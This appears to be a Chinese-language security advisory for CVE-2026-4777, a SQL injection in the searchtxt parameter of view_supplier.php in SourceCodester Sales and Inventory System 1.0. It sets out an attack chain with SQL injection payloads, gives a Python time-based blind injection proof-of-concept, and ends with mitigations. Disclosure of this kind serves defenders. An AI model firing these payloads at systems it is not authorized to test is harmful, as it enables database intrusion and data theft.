IPBUF安全漏洞报告
English
CVE-2026-4777 CVSS 6.3 中危

CVE-2026-4777 SourceCodester库存系统SQL注入漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-4777
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入SourceCodesterWeb安全CVE-2026-4777远程代码执行中危漏洞

漏洞概述

SourceCodester Sales and Inventory System 1.0版本中存在安全漏洞。该漏洞位于view_supplier.php文件的POST参数处理程序中,由于对用户输入的searchtxt参数缺乏有效的过滤和校验,导致攻击者可以构造恶意SQL语句进行注入攻击。攻击者无需用户交互,利用低权限即可远程发起攻击,可能导致数据库信息泄露、数据篡改或服务中断。

技术细节

该漏洞源于SourceCodester Sales and Inventory System 1.0在处理供应商查询请求时的编码缺陷。具体来说,在view_supplier.php文件中,程序直接接收用户通过POST请求提交的searchtxt参数,并将其拼接到SQL查询语句中,未进行任何预编译或参数化处理。这种不安全的编码方式允许攻击者通过输入精心构造的SQL片段(如单引号、注释符或联合查询语句),改变原始查询逻辑。由于CVSS向量显示权限要求低(PR:L)且无需用户交互(UI:N),攻击者可以轻易地通过自动化工具发送恶意请求。成功的利用可导致服务器执行非授权的SQL命令,从而窃取敏感数据(如用户凭证、库存信息)、修改数据库内容或破坏系统可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在运行SourceCodester Sales and Inventory System 1.0,并定位到存在漏洞的文件view_supplier.php。
STEP 2
2. 构造恶意载荷
攻击者针对POST参数searchtxt构造SQL注入载荷,例如使用布尔盲注或时间盲注语句(如 ' OR SLEEP(5)--)。
STEP 3
3. 发送攻击请求
攻击者向服务器发送包含恶意searchtxt参数的POST请求,尝试将注入载荷拼接到后端SQL查询中。
STEP 4
4. 执行SQL注入
服务器后端数据库执行了被篡改的SQL语句,攻击者根据响应差异判断数据库结构或提取敏感数据。
STEP 5
5. 获取权限或数据
利用获取的数据库信息,攻击者可能进一步提取管理员密码、篡改库存数据或获取Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli_vuln(target_url): """ PoC for CVE-2026-4777 SQL Injection in SourceCodester Sales and Inventory System 1.0 Vulnerable Parameter: POST 'searchtxt' in view_supplier.php """ full_url = f"{target_url}/view_supplier.php" # Payload to test for time-based blind SQL injection # Assuming MySQL backend, SLEEP(5) will delay response if vulnerable payload = { "searchtxt": "' AND (SELECT SLEEP(5))-- -" } try: print(f"Sending request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # If response time is greater than 5 seconds (plus network latency), it indicates vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed! SQL Injection detected.") print(f" Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload incorrect.") print(f" Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/sales_inventory" check_sqli_vuln(target)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即在WAF(Web应用防火墙)中添加针对view_supplier.php接口及searchtxt参数的SQL注入防护规则。如果无法立即升级,应通过代码层面对searchtxt参数进行严格的正则表达式过滤(例如禁止输入单引号、双横线注释符等),或者限制该接口仅允许内网IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表